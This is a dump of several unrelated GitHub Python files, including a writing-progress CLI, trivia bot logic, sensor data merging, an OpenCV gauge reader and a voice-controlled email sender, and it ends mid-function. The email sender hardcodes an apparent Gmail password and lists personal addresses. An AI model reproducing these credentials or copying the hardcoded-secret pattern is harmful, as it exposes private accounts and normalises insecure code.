Columns\nfrom rich.console import Console\n\nfrom ..vars import console, logger\nfrom ..vars import squirrel_art\nfrom ..vars import DEFAULT_DATE_FORMAT\nfrom ..xml import get_data_from_project_file, get_watches_data\nfrom ..exceptions import ProjectNotSetupCorrectlyError\n\n\ndef overview(args):\n logger.debug(args)\n try:\n data = get_data_from_project_file()\n except FileNotFoundError:\n return False\n\n try:\n watches = get_watches_data()\n except (FileNotFoundError, ProjectNotSetupCorrectlyError) as e:\n console = Console(stderr=True)\n console.print(e)\n return False\n\n if args.graph:\n _barchart(watches, args.format)\n return True\n else:\n _overview(data, watches, args.format)\n return True\n return False\n\n\ndef _overview(project_data, watches, date_format):\n total = 0\n today = 0\n if len(watches):\n date_count, prev, total = watches[-1]\n today = total - prev if date_count == date.today() else 0\n\n formatter = Formatter(\n project_data.get('name', None),\n project_data.get('description', None),\n project_data.get('goal', None),\n project_data.get('due-date', None),\n project_data.get('project-type', None),\n total,\n today,\n format=date_format\n )\n logger.debug(project_data)\n console.print(Columns([squirrel_art, Panel(formatter.overview)]))\n\n\nclass Formatter:\n def __init__(self, name, description, goal, due_date, project_type, total, today, format=DEFAULT_DATE_FORMAT):\n self._name = name\n self._description = description\n self._goal = goal\n self._due_date = due_date\n self._project_type = project_type\n self.total = total\n self._today = today\n self.format = format\n\n @property\n def name(self):\n return f'[cyan bold underline]{self._name}[/]'\n\n @property\n def description(self):\n return f'[italic]{self._description}[/]'\n\n @property\n def today(self):\n return f'[hot_pink3]Today:[/] {format(self._today, \",\")}[italic] words[/]'\n\n @property\n def goal(self):\n goal = self._goal\n if self._goal is None:\n goal = 0\n goal_reached = True if self.total > int(goal) else False\n\n formatted_goal = self._goal\n if self._goal is not None:\n formatted_goal = format(int(self._goal), ',')\n total_and_goal = f'{format(self.total, \",\")}/{formatted_goal}'\n if goal_reached:\n total_and_goal = f'[green]{total_and_goal}[/]'\n\n return f'[hot_pink3]Goal:[/] {total_and_goal}'\n\n @property\n def due_date(self):\n due_date_formatted = self._due_date\n if self._due_date is not None:\n dd = self._due_date\n dd_formated = self._due_date.strftime(self.format)\n if date.today() <= dd:\n delta = dd - date.today()\n due_date_formatted = f'{dd_formated} [italic blue]({delta.days} days left)[/]'\n else:\n due_date_formatted = f'[blink red]{dd_formated}[/]'\n\n return f'[hot_pink3]Due Date:[/] {due_date_formatted}'\n\n @property\n def project_type(self):\n return f'[hot_pink3]Project Type:[/] {self._project_type}'\n\n @property\n def overview(self):\n return '\\n'.join([\n self.name,\n self.description,\n self.today,\n self.goal,\n self.due_date,\n self.project_type\n ])\n\n\ndef _barchart(watches, date_format):\n def make_dict(watches):\n d = {}\n for watch in watches:\n d[watch[0]] = watch[2] - watch[1]\n return d\n\n def format_stats(stats):\n return '\\n' + '\\n'.join([\n f'• {dates[i].strftime(date_format)} : {format(stat, \",\")} [italic]words[/]'\n for i, stat in enumerate(stats)\n ])\n\n def normalize(stats):\n _max = max(stats)\n _min = min(stats)\n if _max == 0:\n return stats\n\n for i, j in enumerate(stats):\n stats[i] = int((j - _min) / (_max - _min) * 5)\n return stats\n\n def plot(stats):\n lines = max(stats)\n output = ''\n line = ''\n for i in reversed(range(1, lines + 1)):\n for x, y in enumerate(stats):\n if y == i:\n stats[x] -= 1\n line += '[hot_pink2]██[/] '\n else:\n line += ' '\n line += '\\n'\n output += line\n line = ''\n output += '[green]——[/] ' * len(stats)\n return output\n\n logger.debug(f'_barchart: {watches}')\n watches_d = make_dict(watches)\n today = date.today()\n dates = [today - timedelta(i)\n for i in reversed(range(0, 5))]\n stats = [watches_d.get(d, 0) for d in dates]\n\n stats_normalized = normalize(list(stats))\n logger.debug(stats_normalized)\n output = plot(stats_normalized)\n\n console.print(\n Columns([Panel(output), format_stats(stats)], expand=False, padding=5))\n","repo_name":"squirrel-writer/squirrel","sub_path":"squirrel/commands/overview.py","file_name":"overview.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"31257647786","text":"from stetl.component import Config\nfrom stetl.filter import Filter\nfrom stetl.packet import FORMAT\nfrom stetl.util import Util\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport pandas as pd\n\nlog = Util.get_log('Calibration')\n\n\nclass MergeRivmJose(Filter):\n \"\"\"\n Merges Rivm and Jose timeseries records.\n \"\"\"\n @Config(ptype=int, default=5, required=True)\n def impute_duration(self):\n \"\"\"\n Number of minutes to impute data\n\n Default: 5\n\n Required: True\n \"\"\"\n\n def __init__(self, configdict, section, consumes=FORMAT.record,\n produces=FORMAT.record):\n Filter.__init__(self, configdict, section, consumes, produces)\n\n def invoke(self, packet):\n # Convert packet data to dataframes\n result_in = packet.data\n df_rivm = result_in['rivm']\n df_jose = result_in['jose']\n\n log.info('Received rivm data with shape (%d, %d)' % df_rivm.shape)\n log.info('Received jose data with shape (%d, %d)' % df_jose.shape)\n log.info('Pre-processing geohash and time')\n\n # Preparing Jose and RIVM data\n df_jose = MergeRivmJose.preproc_geohash_and_time(df_jose)\n df_rivm = MergeRivmJose.preproc_geohash_and_time(df_rivm)\n df_jose = MergeRivmJose.interpolate(df_jose, self.impute_duration * 5)\n\n # Concatenate RIVM and Jose\n df_index = df_jose.loc[:, ['time', 'geohash']]\n df_rivm = MergeRivmJose.interpolate_to_index(df_index, df_rivm, 60 * 5)\n df = pd.merge(df_jose, df_rivm, 'left', ['time', 'geohash'])\n del df.index.name\n log.info('RIVM and Jose are merged, new shape (%d, %d)' % df.shape)\n\n # Returning data\n # note: not converting to records, because that take a lot of memory.\n packet.data = {'merged': df}\n\n return packet\n\n @staticmethod\n def preproc_geohash_and_time(df):\n df['geohash'] = df['geohash'].str.slice(0, 7)\n df['time'] = pd.to_datetime(df['time'])\n return (df)\n\n @staticmethod\n def interpolate(df, impute_duration, limit_direction='both'):\n df = df.set_index(['geohash', 'time']).sort_index()\n df = df.interpolate(limit=impute_duration * 5,\n limit_direction=limit_direction)\n df = df.reset_index()\n return df\n\n @staticmethod\n def interpolate_to_index(df_index, df_inter, impute_duration):\n log.info('Interpolating RIVM values towards jose measurements')\n df_index['is_index'] = True\n df = df_index.merge(df_inter, 'outer')\n df = MergeRivmJose.interpolate(df, impute_duration)\n df = df[df['is_index'].notnull()]\n df = df.drop('is_index', axis=1)\n return df\n\n","repo_name":"smartemission/docker-se-stetl","sub_path":"smartem/calibrator/mergerefdata.py","file_name":"mergerefdata.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22642462988","text":"import dataclasses\nimport datetime\nimport typing\nimport collections\n\nfrom . import card\n\n\n@dataclasses.dataclass\nclass Event:\n time: datetime.datetime\n task_name: str\n quantity: str\n value_before: str\n value_after: str\n\n def __init__(self, task_name, quantity, time):\n self.time = time\n self.task_name = task_name\n self.quantity = quantity\n self.value_after = None\n self.value_before = None\n\n def __str__(self):\n return f\"{self.time.date()} {self.quantity}: {self.value_before} -> {self.value_after}\"\n\n @classmethod\n def last_points_measurement(cls, task_name, when, value):\n ret = cls(task_name, \"points\", when)\n ret.value_after = value\n ret.value_before = value\n return ret\n\n @classmethod\n def consistent(cls, events: typing.Iterable[\"Event\"]):\n events = sorted(events, key=lambda e: e.time)\n return cls._consistent_sorted_events(events)\n\n @classmethod\n def _consistent_sorted_events(cls, events: typing.Iterable[\"Event\"]):\n if len(events) < 2:\n return True\n if events[0].value_after != events[1].value_before:\n return False\n return cls._consistent_sorted_events(events[1:])\n\n\nclass EventManager:\n _events: typing.Dict[str, typing.List[Event]]\n\n def __init__(self, io_cls):\n self._events = collections.defaultdict(list)\n self._io_cls = io_cls\n\n def add_event(self, event: Event):\n events = self._events[event.task_name]\n events.append(event)\n self._events[event.task_name] = sorted(events, key=lambda e: e.time)\n\n def get_referenced_task_names(self):\n return set(self._events.keys())\n\n def get_chronological_task_events_by_type(self, task_name: str):\n if task_name not in self._events:\n return dict()\n\n sorted_events = self._events[task_name]\n events_by_type = collections.defaultdict(list)\n for evt in sorted_events:\n events_by_type[evt.quantity].append(evt)\n\n return events_by_type\n\n def save(self):\n with self._io_cls.get_saver() as saver:\n for subject_name, its_events in self._events.items():\n saver.save_events(subject_name, its_events)\n\n def load(self):\n with self._io_cls.get_loader() as loader:\n events_task_names = loader.load_event_names()\n for name in events_task_names:\n self._events[name] = loader.load_events_of(name)\n\n def erase(self):\n self._events.clear()\n","repo_name":"matejak/estimagus","sub_path":"estimage/entities/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"34935122766","text":"import smtplib\r\nimport speech_recognition as sr\r\nimport pyttsx3\r\nfrom sys import exit\r\nfrom email.message import EmailMessage\r\n\r\nlistener = sr.Recognizer()\r\nengine = pyttsx3.init()\r\n\r\n\r\ndef talk(text):\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\n\r\ndef get_info():\r\n try:\r\n with sr.Microphone() as source:\r\n print('listening...')\r\n listener.pause_threshold = 1\r\n listener.adjust_for_ambient_noise(source, duration=1)\r\n voice = listener.listen(source)\r\n info = listener.recognize_google(voice)\r\n print(info)\r\n return info.lower()\r\n except:\r\n pass\r\n\r\n\r\ndef send_email(receiver, subject, message):\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.starttls()\r\n server.login('miniprojectcsbs@gmail.com', 'Miniproject@cs&bs')\r\n email = EmailMessage()\r\n email['From'] = 'Sender_Email'\r\n email['To'] = receiver\r\n email['Subject'] = subject\r\n email.set_content(message)\r\n server.send_message(email)\r\n\r\n\r\nemail_list = {\r\n 'blue': 'sanjaysundar60@gmail.com',\r\n 'black': 'mohammedriyaz2124@gmail.com',\r\n 'yellow': 'gowthamneymar97@gmail.com',\r\n 'white': 'itsmhmdali@gmail.com'\r\n}\r\n\r\n\r\ndef get_email_info():\r\n talk('To Whom you want to send email')\r\n name = get_info()\r\n receiver = email_list[name]\r\n print(receiver)\r\n talk('What is the subject of your email?')\r\n subject = get_info()\r\n talk('Tell me the text in your email')\r\n message = get_info()\r\n send_email(receiver, subject, message)\r\n talk('Your email has been sent')\r\n print('Your email has been sent')\r\n talk('Do you want to send more email?')\r\n print('Do you want to send more email?')\r\n send_more = get_info()\r\n if 'yes' in send_more:\r\n get_email_info()\r\n if 'no' in send_more:\r\n talk('Thank you for using E mail bot')\r\n print('Thank you for using E mail bot')\r\n exit(0)\r\n\r\n\r\ntalk('Hi I am E mail bot, your email assistant')\r\nprint('Hi I am E mail bot, your email assistant')\r\nget_email_info()\r\n","repo_name":"Sanjay-047/Email-Voice-Automation-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26670337083","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport operator\nimport random\nimport threading\n\nfrom absl import flags\nfrom absl import logging\n\nfrom hypebot.core import util_lib\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_integer('trivia_delay_seconds', 3, 'Number of seconds to wait '\n 'between trivia questions.')\n\n\nclass TriviaMaster(object):\n \"\"\"Class which manages the trivia for multiple channels.\n\n This should only be instantiated once.\n \"\"\"\n\n def __init__(self, game_lib, msg_fn):\n \"\"\"Create a new TriviaMaster.\n\n Args:\n game_lib: a functional instance of game_lib.GameLib.\n msg_fn: function to allow Trivia to send messages.\n \"\"\"\n self._question_maker = QuestionMaker(game_lib)\n self._msg_fn = msg_fn\n # keeps track of channel id -> TriviaChannel\n self._channel_map = {}\n\n def IsTrivaChannel(self, channel):\n return channel.id in self._channel_map\n\n def MakeNewChannel(self, channel):\n \"\"\"Set up a TriviaChannel for the given channel, if it doesn't exist.\"\"\"\n if self.IsTrivaChannel(channel):\n return\n self._channel_map[channel.id] = TriviaChannel(channel, self._question_maker,\n self._msg_fn)\n\n def AddQuestions(self, channel, num_questions):\n if not self.IsTrivaChannel(channel):\n return\n trivia_channel = self._channel_map[channel.id]\n trivia_channel.AddQuestions(num_questions)\n\n def CheckAnswer(self, channel, user, answer):\n if not self.IsTrivaChannel(channel):\n return\n trivia_channel = self._channel_map[channel.id]\n trivia_channel.CheckAnswer(user, answer)\n\n\nclass TriviaChannel(object):\n \"\"\"Class which manages the trivia for one channel.\n\n Makes sure there is only one active question at a time.\n \"\"\"\n\n _DEFAULT_TIMEOUT_SEC = 30\n _MAX_QUESTIONS = 30\n\n def __init__(self, channel, question_maker, msg_fn):\n \"\"\"Create a new TriviaChannel.\n\n Args:\n channel: channel\n question_maker: instance of QuestionMaker()\n msg_fn: function to allow sending of messages.\n \"\"\"\n\n self._question_maker = question_maker\n self._channel = channel\n self._msg_fn = msg_fn\n\n # number of pending questions to do. do a question if this > 0.\n # TODO: there is a potential race condition on this number if not\n # for the global interpreter lock\n self._num_questions_remaining = 0\n # The Question to currently be answered.\n self._current_question = None\n # The pending timeout timer for the current question.\n self._timeout_timer = None\n # Lock around the current question. Acquire this to change the status of the\n # current question.\n self._question_lock = threading.Lock()\n # Temporary leaderboard for a quiz session.\n self._leaderboard = Leaderboard()\n # Set of already seen hashed questions\n self._questions = set()\n\n def HasCurrentQuestion(self):\n return self._current_question is not None\n\n def AddQuestions(self, num):\n if self._num_questions_remaining == 0 and num >= 3:\n self._leaderboard.BeginGame()\n self._num_questions_remaining += num\n self._MaybeStartNewQuestion()\n\n def _MaybeStartNewQuestion(self):\n must_callback = False\n question = None\n with self._question_lock:\n if self._num_questions_remaining <= 0:\n self._questions.clear()\n self._leaderboard.AttemptToFinishGame(self._msg_fn, self._channel)\n return\n if self._num_questions_remaining >= self._MAX_QUESTIONS:\n self._num_questions_remaining = self._MAX_QUESTIONS\n if self.HasCurrentQuestion():\n return\n self._current_question = self._question_maker.GetRandomQuestion()\n self._timeout_timer = threading.Timer(self._DEFAULT_TIMEOUT_SEC,\n self._TimeoutQuestion)\n self._timeout_timer.start()\n self._num_questions_remaining -= 1\n must_callback = True\n question = self._current_question\n while hash(question.GetQuestion()) in self._questions:\n question = self._question_maker.GetRandomQuestion()\n self._current_question = question\n self._questions.add(hash(question.GetQuestion()))\n if must_callback:\n self._msg_fn(self._channel, question.GetQuestionText())\n\n # TODO: this could possibly be called for a new question if a question was\n # answered right near a timeout expiring\n def _TimeoutQuestion(self):\n must_callback = False\n question = None\n with self._question_lock:\n if self.HasCurrentQuestion():\n must_callback = True\n question = self._current_question\n self._current_question = None\n self._timeout_timer = None\n\n if must_callback:\n self._msg_fn(self._channel,\n 'Time\\'s up! Answer was: %s' % question.GetAnswer())\n timer = threading.Timer(FLAGS.trivia_delay_seconds,\n self._MaybeStartNewQuestion)\n timer.start()\n\n def CheckAnswer(self, user, answer):\n \"\"\"Check if the user answered correctly.\"\"\"\n must_callback = False\n question = None\n if not self.HasCurrentQuestion():\n return\n\n with self._question_lock:\n if not self.HasCurrentQuestion():\n return\n if self._current_question.CheckAnswer(answer):\n must_callback = True\n question = self._current_question\n self._current_question = None\n if self._timeout_timer:\n self._timeout_timer.cancel()\n self._timeout_timer = None\n self._leaderboard.Correct(user, question.GetPointValue())\n\n if must_callback:\n self._msg_fn(\n self._channel, '%s got it! Answer was: %s' %\n (user.display_name, question.GetAnswer()))\n timer = threading.Timer(FLAGS.trivia_delay_seconds,\n self._MaybeStartNewQuestion)\n timer.start()\n\n\nclass QuestionMaker(object):\n \"\"\"Question generating class.\n\n Uses stats library to generate random questions.\n \"\"\"\n\n _SKILLS = ['Q', 'W', 'E', 'R']\n\n def __init__(self, game_lib):\n self._game = game_lib\n self._champ_names = self._game.GetAllChampNames()\n\n # Question categories and weight of occurrence.\n self._CATEGORIES = [\n (self._PassiveToChampQuestion, 1.0),\n (self._SkillToChampQuestion, 4.0),\n (self._TitleToChampQuestion, 1.0),\n (self._ChampToTitleQuestion, 1.0),\n (self._HypeBotQuestion, 0.05),\n ]\n\n def GetRandomQuestion(self):\n question = None\n\n while not question:\n total_weight = sum(weight for _, weight in self._CATEGORIES)\n r = random.uniform(0, total_weight)\n category_idx = 0\n weight_sum = 0.0\n for _, weight in self._CATEGORIES:\n if weight + weight_sum >= r:\n break\n weight_sum += weight\n category_idx += 1\n\n category = self._CATEGORIES[category_idx][0]\n question = category()\n if not question:\n logging.error('Failed to make a question for category: %s', category)\n\n return question\n\n def _RandomChamp(self):\n champ_name = random.sample(self._champ_names, 1)[0]\n champ = self._game.ChampFromName(champ_name)\n return champ\n\n def _PassiveToChampQuestion(self):\n champ = self._RandomChamp()\n name = champ.name\n passive = util_lib.Dankify(champ.passive.name)\n question_text = '[Passives] Which champion\\'s passive is \"{}\"?'.format(\n passive)\n return Question(question_text, name, canonical_fn=self._game.GetChampId)\n\n def _SkillToChampQuestion(self):\n champ = self._RandomChamp()\n name = champ.name\n skill_letter = random.sample(self._SKILLS, 1)[0]\n\n skill = self._game.GetChampSkill(champ, skill_letter)\n\n question_text = '[Skills] Which champion\\'s {} is \"{}\"?'.format(\n skill_letter, util_lib.Dankify(skill.name))\n return Question(question_text, name, canonical_fn=self._game.GetChampId)\n\n def _TitleToChampQuestion(self):\n champ = self._RandomChamp()\n name = champ.name\n title = util_lib.Dankify(champ.title)\n\n question_text = '[Titles] Fill in the champ: ____, {}'.format(title)\n return Question(question_text, name, canonical_fn=self._game.GetChampId)\n\n def _ChampToTitleQuestion(self):\n champ = self._RandomChamp()\n name = champ.name\n title = champ.title\n\n # automatically show \"the\" when title starts with it\n if title.lower().startswith('the '):\n title = title[4:]\n question_text = '[Titles] Fill in the title: {}, the ____'.format(name)\n else:\n question_text = '[Titles] Fill in the title: {}, ____'.format(name)\n return Question(question_text, title)\n\n def _HypeBotQuestion(self):\n question_text = '[HypeBot] Who is the dankest bot of them all?'\n return Question(question_text, 'hypebot', 5)\n\n\nclass Question(object):\n \"\"\"A class that contains a question and its answer.\"\"\"\n\n def __init__(self,\n question,\n answer,\n point_value=1,\n canonical_fn=util_lib.CanonicalizeName):\n self._question = question\n self._answer = answer\n self._canonical_fn = canonical_fn\n self._canonical_answer = self._canonical_fn(answer)\n self._points = point_value\n\n def GetQuestion(self):\n return self._question\n\n def GetQuestionText(self):\n return 'Trivia time! Q: ' + self._question\n\n def GetAnswer(self):\n return self._answer\n\n def GetPointValue(self):\n return self._points\n\n def CheckAnswer(self, answer):\n \"\"\"Returns True if answer is correct, False otherwise.\"\"\"\n return self._canonical_answer == self._canonical_fn(answer)\n\n\nclass Leaderboard(object):\n \"\"\"A leaderboard class so you can taunt others with your knowledge.\"\"\"\n\n def __init__(self):\n self.Reset()\n\n def Reset(self):\n self._user_score_map = {}\n self._active = False\n\n def BeginGame(self):\n self.Reset()\n self._active = True\n\n def Correct(self, user, point_value):\n if self._active:\n if user.display_name not in self._user_score_map:\n self._user_score_map[user.display_name] = 0\n self._user_score_map[user.display_name] += point_value\n\n def AttemptToFinishGame(self, msg_fn, channel):\n if self._active:\n msg_fn(channel, self.Results())\n self._active = False\n\n def Results(self):\n sorted_users = sorted(\n self._user_score_map.items(), key=operator.itemgetter(1), reverse=True)\n user_info = []\n for user in sorted_users:\n user_info.append('{} ({})'.format(user[0], user[1]))\n return 'Trivia Leaderboard: [{}]'.format(', '.join(user_info))\n","repo_name":"google/hypebot","sub_path":"hypebot/plugins/league/trivia_lib.py","file_name":"trivia_lib.py","file_ext":"py","file_size_in_byte":10541,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"5"} +{"seq_id":"34817365226","text":"import pandas as pd\r\nimport spacy\r\nfrom goose3 import Goose\r\nfrom textblob import TextBlob\r\n\r\n# import nltk\r\n# nltk.download('omw-1.4')\r\nnlp = spacy.load('en_core_web_sm')\r\n# Read list of hundreds of urls from a file\r\nurl_list = open(\"URL.txt\", \"r\").read().split(\"\\n\")\r\n\r\n# loop for each url\r\nfor url in url_list:\r\n g = Goose()\r\n article = g.extract(url=url)\r\n\r\n# process/store ...\r\n article.cleaned_text # cleaning the extracted text\r\n print(article.cleaned_text) # printing the extracted text\r\n# print(len(article.cleaned_text)) # printing the no of words in articles after article is printed\r\n\r\nwith open(\"Output.txt\", \"w\") as external_file:\r\n print(article.cleaned_text, file=external_file)\r\n external_file.close()","repo_name":"absterjr/WebScraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"18416695585","text":"from access_niu.wsgi import flask_app\n\n\ndef test_flask():\n\n test_client = flask_app.test_client()\n\n context = flask_app.app_context()\n context.push()\n\n resp = test_client.get(\"/\")\n\n assert resp.status_code == 200\n assert resp.json == {\"status\": \"OK\"}\n\n context.pop()\n","repo_name":"accessai/access-niu","sub_path":"tests/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"34667566552","text":"import sys\nlines = list(map(str.strip, sys.stdin.readlines()))\n\nfor line in lines[2::2]:\n nums = list(map(int, line.split()))\n nums.sort()\n # print(nums)\n a = [1]\n if nums[0] != 1:\n print(\"NO\")\n continue\n sub_sums = set([1])\n for i in range(1, len(nums)):\n if nums[i] not in sub_sums:\n print(\"NO\")\n break\n a.append(nums[i])\n to_add = set()\n for sub_sum in sub_sums:\n if sub_sum + nums[i] > 5000: continue\n to_add.add(sub_sum+nums[i])\n sub_sums.update(to_add)\n else:\n print(\"YES\")\n \n\n\n","repo_name":"tomasnyberg/cp_notebook","sub_path":"codeforces/859/G.py","file_name":"G.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3316523079","text":"import os\nfrom setuptools import setup\n\nproject_name = \"autocoder\"\nversion=\"0.0.1\"\n\nlong_description = \"\"\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n # search for any lines that contain <img and remove them\n long_description = long_description.split(\"\\n\")\n long_description = [line for line in long_description if not \"<img\" in line]\n # now join all the lines back together\n long_description = \"\\n\".join(long_description)\n\n# read requirements.txt to an array\nwith open(\"requirements.txt\") as f:\n requirements = f.read().strip().splitlines()\n\nsetup(\n name=project_name,\n version=version,\n description=\"Code that basically writes itself\",\n long_description=long_description, # added this line\n long_description_content_type=\"text/markdown\", # and this line\n url=\"https://github.com/AutonomousResearchGroup/autocoder\",\n author=\"Moon\",\n author_email=\"shawmakesmagic@gmail.com\",\n license=\"MIT\",\n packages=[project_name],\n install_requires=requirements,\n readme=\"README.md\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python :: 3\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: Microsoft :: Windows\",\n ],\n)\n","repo_name":"hbcbh1999/autocoder","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"14037273295","text":"import sys\nimport re\nfrom dataclasses import dataclass\n\nfrom pyrenode.pyrenode import Pyrenode\n\n\ndef connect_renode(\n spawn_renode: bool = True,\n telnet_port: int = 4567,\n robot_port: int = 0,\n timeout: float = 10.,\n retry_time: float = .2):\n Pyrenode().initialize(\n spawn_renode=spawn_renode,\n telnet_port=telnet_port,\n robot_port=robot_port,\n timeout=timeout,\n retry_time=retry_time\n )\n\n\ndef shutdown_renode():\n Pyrenode().cleanup()\n\n\ndef tell_renode(string: str, newline: bool = True):\n Pyrenode().write_to_renode(string, newline)\n\n\ndef read_until(string: str, timeout: float = 1.):\n pyrenode = Pyrenode()\n if pyrenode.telnet_connection is None:\n return\n return Pyrenode.escape_ansi(pyrenode.telnet_connection.read_until(\n string.encode(),\n timeout\n ).decode())\n\n\ndef expect_cli(string: str, timeout: float = 15.):\n @dataclass\n class Result:\n text: str = ''\n match: object = None\n\n expected = re.escape(string).replace('\\n', '\\r*\\n\\r*')\n _, matches, data = Pyrenode().telnet_connection.expect(\n [expected.encode()],\n timeout\n )\n return Result(Pyrenode.escape_ansi(data.decode()), matches)\n\n\ndef _bind_function(name: str):\n def func(*args, **kwargs):\n message = Pyrenode().run_robot_keyword(name, *args, **kwargs)\n return message\n return func\n\n\ndef get_keywords():\n current_module = sys.modules['__main__']\n\n keywords = Pyrenode().keywords\n\n print(f\"Importing keywords: {', '.join(keywords)}\")\n print()\n for k in keywords:\n func = _bind_function(k)\n setattr(current_module, k, func)\n","repo_name":"antmicro/pyrenode","sub_path":"pyrenode/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"71458452559","text":"import cv2\nimport numpy as np\ndef minfilter(image,ksize = 3):\n dst = np.zeros(image.shape,np.int8)\n h,w = image.shape\n for i in range(1,h-1):\n for j in range(1,w -1):\n minx = 0\n for i in range(i-1,i+1):\n for m in range(j-1,j+1):\n if image[i,j] > minx:\n minx = image[i,j]\n dst[i,j] = minx\n return dst\n\n\nimg = cv2.imread(\"D:/project/deep-meter/meter0.jpg\")\ngary = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n#binary = cv2.adaptiveThreshold(gary,255,cv2.ADAPTIVE_THRESH_MEAN_C,cv2.THRESH_BINARY,7,10)\nret,binary = cv2.threshold(gary,100,255,cv2.THRESH_BINARY)\n#mn = minfilter(binary,3)\n\nbinary = cv2.blur(binary,(3,3))\ncv2.imshow(\"out\",binary)\ncv2.waitKey(0)\nx = cv2.Sobel(binary,cv2.CV_16S,1,0)\ny = cv2.Sobel(binary,cv2.CV_16S,0,1)\nabsX = cv2.convertScaleAbs(x)\nabsY = cv2.convertScaleAbs(y)\nedges = cv2.addWeighted(absX,0.5,absY,0.5,0)\n#use soble not canny\n#edges = cv2.Canny(binary,100,300)\n\ncircles = cv2.HoughCircles(edges,cv2.HOUGH_GRADIENT,10,200,param1=50,param2=50)\nradius = 0\nmaxx,maxy = 0,0\nfor i in circles[0,:]:\n # draw the outer circle\n #cv2.circle(img,(i[0],i[1]),i[2],(0,255,0),2)\n if i[2] > radius :\n radius = i[2]\n maxx = i[0]\n maxy = i[1]\n # draw the center of the circle\n #cv2.circle(img,(i[0],i[1]),2,(0,0,255),3)\ncv2.circle(img,(maxx,maxy),radius,(0,255,0),2)\nroi = edges[int(maxx - radius):int(maxx + radius),int(maxy-radius):int(maxy+radius)]\ncv2.imshow(\"1234\",roi)\ncv2.waitKey(0)\nlines = cv2.HoughLinesP(roi,1,np.pi/180,100,300,20)\nfor x1,y1,x2,y2 in lines[0]:\n #print(line[0][1],line[0][0])\n #x1,y1,x2,y2 = lis[0][0],lis[0][1],lis[0][2],lis[0][3]\n # print(x1,y1,x2,y2)\n print(180/np.pi*np.arctan((x1 - x2)/(y1 - y2)))\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)\n\ncv2.imshow(\"123\",img)\ncv2.waitKey(0)","repo_name":"limn2o4/deep-meter","sub_path":"meter_check.py","file_name":"meter_check.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23491455828","text":"import re\nimport pyperclip\n\n# saves whatever is on your clipboard\n# ex. if you have \"spam\" copied, then that is pasted into variable text\ntext = str(pyperclip.paste())\n\nphoneRegex = re.compile(r'''\n (\\+\\d)? # [0] Country Code\n (-|\\s|\\.)? # [1] Separator\n (\\d{3}|\\(\\d{3}\\)) # [2] Area code 323 or (323)\n (-|\\s|\\.)? # [3] Separator (grouped pipes)\n (\\d{3}) # [4] First three digits\n (-|\\s|\\.)? # [5] Separator (grouped pipes)\n (\\d{4}) # [6] Last four digits\n (\\s*(ext|x|ext.)\\s*(\\d{2,5}))? # [7] Extension\n''', re.VERBOSE)\nemailRegex = re.compile(r'''\n [a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]+\n''', re.VERBOSE)\n\nphoneMatches = re.findall(phoneRegex, text)\nemailMatches = re.findall(emailRegex, text)\n\ndef findMatches():\n matches = []\n # Iterate through array of lists of groups\n for groups in phoneMatches:\n # Convert into uniform pattern\n # Target groups with the primary digits (See phoneRegex)\n # parameter in .join() must be iterable [array]\n phoneNum = '-'.join([groups[2], groups[4], groups[6]])\n # Insert country code\n if groups[0] != \"\":\n phoneNum = groups[1] + '-' + phoneNum\n # Append extension\n if groups[7] != \"\":\n phoneNum += \" x\" + groups[8]\n\n matches.append(phoneNum)\n \n for groups in emailMatches:\n matches.append(groups)\n\n copyToClipboard(matches)\n\ndef copyToClipboard(matches):\n if len(matches) > 0:\n pyperclip.copy(\"\\n\".join(matches))\n print(\"\\nCopied to Clipboard:\\n\")\n print(\"\\n\".join(matches))\n else:\n print(\"No matches found\")\n \nfindMatches()","repo_name":"ectaguba/extractor","sub_path":"extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1605701911","text":"import operator\nfrom typing import List\n\n\ndef searchFirst(nums: List[int], target: int):\n left, right = 0, len(nums)-1\n while left <= right:\n mid = left + (right-left)//2\n if nums[mid] == target and (mid == 0 or nums[mid-1] < target):\n return mid\n elif target > nums[mid]:\n left = mid+1\n else:\n right = 